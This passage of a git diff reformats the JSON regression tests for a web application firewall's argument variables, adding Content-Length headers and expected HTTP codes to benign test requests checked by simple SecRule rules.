ARGS:param2\\)" + "expected": { + "debug_log": "Target value: \"value2\" \\(Variable: ARGS:param2\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS:param2 \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] } ] - diff --git a/test/test-cases/regression/variable-ARGS_COMBINED_SIZE.json b/test/test-cases/regression/variable-ARGS_COMBINED_SIZE.json index 034005acea..d2fde1d185 100644 --- a/test/test-cases/regression/variable-ARGS_COMBINED_SIZE.json +++ b/test/test-cases/regression/variable-ARGS_COMBINED_SIZE.json @@ -1,295 +1,322 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS_COMBINED_SIZE - GET (1/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS_COMBINED_SIZE - GET (1/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"22." + "expected": { + "debug_log": "Target value: \"22.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS_COMBINED_SIZE \"@gt 10 \" \"id:1,pass\"" ] }, - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS_COMBINED_SIZE - GET (2/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS_COMBINED_SIZE - GET (2/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value&a=b", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value&a=b", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"24." + "expected": { + "debug_log": "Target value: \"24.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS_COMBINED_SIZE \"@gt 10 \" \"id:1,pass\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS_COMBINED_SIZE - POST (3/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS_COMBINED_SIZE - POST (3/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"25." + "expected": { + "debug_log": "Target value: \"24.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS_COMBINED_SIZE \"@gt 10 \" \"id:1,phase:3,pass\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS_COMBINED_SIZE - POST (4/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "28", + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS_COMBINED_SIZE - POST (4/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "32", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2&a=b\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"28." + "expected": { + "debug_log": "Target value: \"27.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS_COMBINED_SIZE \"@gt 10 \" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS_COMBINED_SIZE - POST (5/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS_COMBINED_SIZE - POST (5/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "44", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "a=%EC%A7%84%20%EB%A7%88%EC%9D%BC%20%EB%A6%AC" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"16." + "expected": { + "debug_log": "Target value: \"15.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS_COMBINED_SIZE \"@gt 10 \" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS_COMBINED_SIZE - GET (6/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS_COMBINED_SIZE - GET (6/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/?z=%EC%A7%84%20%EB%A7%88%EC%9D%BC%20%EB%A6%AC", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?z=%EC%A7%84%20%EB%A7%88%EC%9D%BC%20%EB%A6%AC", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"15." + "expected": { + "debug_log": "Target value: \"15.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS_COMBINED_SIZE \"@gt 10 \" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS_COMBINED_SIZE - GET (7/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS_COMBINED_SIZE - GET (7/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/?z=진 마일 리", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?z=진 마일 리", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"15." + "expected": { + "debug_log": "Target value: \"15.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS_COMBINED_SIZE \"@gt 10 \" \"id:1,phase:3,pass,t:trim\"" ] } ] - diff --git a/test/test-cases/regression/variable-ARGS_GET.json b/test/test-cases/regression/variable-ARGS_GET.json index dde6d690ec..3a2e48d1cb 100644 --- a/test/test-cases/regression/variable-ARGS_GET.json +++ b/test/test-cases/regression/variable-ARGS_GET.json @@ -1,238 +1,272 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS_GET (1/6)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS_GET (1/6)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"other_value\"" + "expected": { + "debug_log": "Target value: \"other_value\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS_GET \"@contains test \" \"id:1,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS_GET (2/6)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS_GET (2/6)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"value\"" + "expected": { + "debug_log": "Target value: \"value\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS_GET \"@contains test \" \"id:1,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS_GET (3/6)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS_GET (3/6)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value%26withsomestuff=tootherstuff", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value%26withsomestuff=tootherstuff", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"other_value&withsomestuff=tootherstuff\"" + "expected": { + "debug_log": "Target value: \"other_value&withsomestuff=tootherstuff\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS_GET \"@contains test \" \"id:1,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS_GET (4/6)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS_GET (4/6)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&secondkey=&key3=val3", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&secondkey=&key3=val3", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"0\"" + "expected": { + "debug_log": "Target value: \"0\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS_GET:secondkey \"0\" \"id:1,phase:2,pass,t:none,t:length\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS_GET (5/6)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS_GET (5/6)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&secondkey=othervalue&", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&secondkey=othervalue&", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"othervalue\"" + "expected": { + "debug_log": "Target value: \"othervalue\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS_GET \"@rx ^othervalue$ \" \"id:1,pass,t:none\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS_GET (6/6)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS_GET (6/6)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&second_key=other_value#urifrag", - "method":"GET", - "http_version":1.1 - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&second_key=other_value#urifrag", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ + "expected": { "http_code": 403 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS_GET \"@streq other_value\" \"id:1,phase:1,deny,status:403\"" ] } ] - diff --git a/test/test-cases/regression/variable-ARGS_GET_NAMES.json b/test/test-cases/regression/variable-ARGS_GET_NAMES.json index be1e03d0c5..7801d626b9 100644 --- a/test/test-cases/regression/variable-ARGS_GET_NAMES.json +++ b/test/test-cases/regression/variable-ARGS_GET_NAMES.json @@ -1,81 +1,92 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS_GET_NAMES (1/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS_GET_NAMES (1/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key1=value&key2=other_value", - "method":"GET" + "uri": "/?key1=value&key2=other_value", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"key1\"" + "expected": { + "debug_log": "Target value: \"key1\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS_GET_NAMES \"@contains test \" \"id:1,pass,t:trim\"" ] }, - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS_GET_NAMES (2/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS_GET_NAMES (2/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key1=value&key2=other_value", - "method":"GET" + "uri": "/?key1=value&key2=other_value", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"key2\"" + "expected": { + "debug_log": "Target value: \"key2\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS_GET_NAMES \"@contains test \" \"id:1,pass,t:trim\"" ] } ] - diff --git a/test/test-cases/regression/variable-ARGS_NAMES.json b/test/test-cases/regression/variable-ARGS_NAMES.json index bf3e80d427..b1f63c85bf 100644 --- a/test/test-cases/regression/variable-ARGS_NAMES.json +++ b/test/test-cases/regression/variable-ARGS_NAMES.json @@ -1,221 +1,238 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS_NAMES - GET (1/4)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS_NAMES - GET (1/4)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key1=value&key2=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key1=value&key2=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"key1\"" + "expected": { + "debug_log": "Target value: \"key1\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS_NAMES \"@contains test \" \"id:1,pass,t:trim\"" ] }, - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS_NAMES - GET (2/4)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS_NAMES - GET (2/4)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key1=value&key2=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key1=value&key2=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"key2\"" + "expected": { + "debug_log": "Target value: \"key2\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS_NAMES \"@contains test \" \"id:1,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS_NAMES - POST (3/4)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS_NAMES - POST (3/4)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"param1\"" + "expected": { + "debug_log": "Target value: \"param1\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS_NAMES \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS_NAMES - POST (4/4)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS_NAMES - POST (4/4)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + 